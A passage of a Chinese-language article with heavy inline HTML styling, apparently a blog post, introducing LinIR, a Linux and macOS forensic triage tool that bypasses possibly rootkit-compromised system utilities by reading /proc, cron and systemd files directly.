rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ps</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">netstat</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ss</span></code><span leaf=""> 吗？</span></p></blockquote><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">一、问题：你以为在取证，其实在被骗</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">应急响应的第一步通常是&#34;看看机器上在跑什么&#34;。大多数人的第一反应是：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">ps aux</span></code><br/><code><span leaf="">netstat -tnlp</span></code><br/><code><span leaf="">ss -tnp</span></code><br/><code><span leaf="">crontab -l</span></code><br/><code><span leaf="">systemctl list-units</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些命令在 99% 的日常运维场景里完全够用。但在</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">应急响应</span></strong><span leaf="">场景下——你面对的可能是一台已经被 rootkit 接管的主机。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">问题来了：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ps</span></code><span leaf=""> 可以被替换成一个过滤掉恶意进程的二进制</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">netstat</span></code><span leaf="">/</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ss</span></code><span leaf=""> 可以通过 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">LD_PRELOAD</span></code><span leaf=""> 劫持 libc 来隐藏连接</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">crontab -l</span></code><span leaf=""> 如果被 hook，可能根本不显示攻击者写入的定时任务</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">systemctl</span></code><span leaf=""> 通过 D-Bus 通信，中间环节太多，任何一层都可能被污染</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">就连你的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">PATH</span></code><span leaf=""> 本身都可能指向一个 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/tmp/.hidden/bin/</span></code><span leaf=""> 目录</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">传统的应急响应工具——无论是手工命令行还是自动化脚本——几乎都默认信任了目标系统的用户态工具链。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">这就是 LinIR 要解决的核心问题。</span></strong></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">二、LinIR 是什么</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LinIR（Linux Incident Response）是一个面向 Linux 和 macOS 的单二进制取证分诊工具。它的设计出发点只有一个：</span></p><blockquote style="box-sizing: border-box;margin: 20px 0px;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">不信任目标主机上的任何命令。</span></strong></p></blockquote><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它不调用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ps</span></code><span leaf="">，而是直接读 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/&lt;pid&gt;/stat</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/&lt;pid&gt;/exe</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/&lt;pid&gt;/cmdline</span></code><span leaf="">。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它不调用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">netstat</span></code><span leaf="">/</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ss</span></code><span leaf="">，而是直接解析 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/net/tcp</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/net/tcp6</span></code><span leaf="">，再通过遍历 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/&lt;pid&gt;/fd/</span></code><span leaf=""> 的 socket inode 来关联 PID。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它不调用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">systemctl</span></code><span leaf="">，而是直接解析 systemd unit 文件的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ExecStart</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">Environment</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">WantedBy</span></code><span leaf=""> 字段。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它不调用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">crontab</span></code><span leaf="">，而是直接扫描 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/etc/crontab</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/etc/cron.d/</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/var/spool/cron/</span></code><span leaf=""> 下的原始文件。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它不调用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">lsof</span></code><span leaf="">，而是自己构建 inode → PID 映射表。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 macOS 上也一样：不调用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">launchctl</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">lsof</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">nettop</span></code><span leaf="">，而是使用 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">sysctl</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">proc_pidinfo</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">proc_pidfdinfo</span></code><span leaf=""> 等 syscall 级接口。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">整个工具从采集到分析到评分，零外部命令依赖。</span></strong><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">CGO_ENABLED=0</span></code><span leaf=""> 静态编译，单文件拖到目标机就能跑。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">三、与传统工具/方案的对比</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 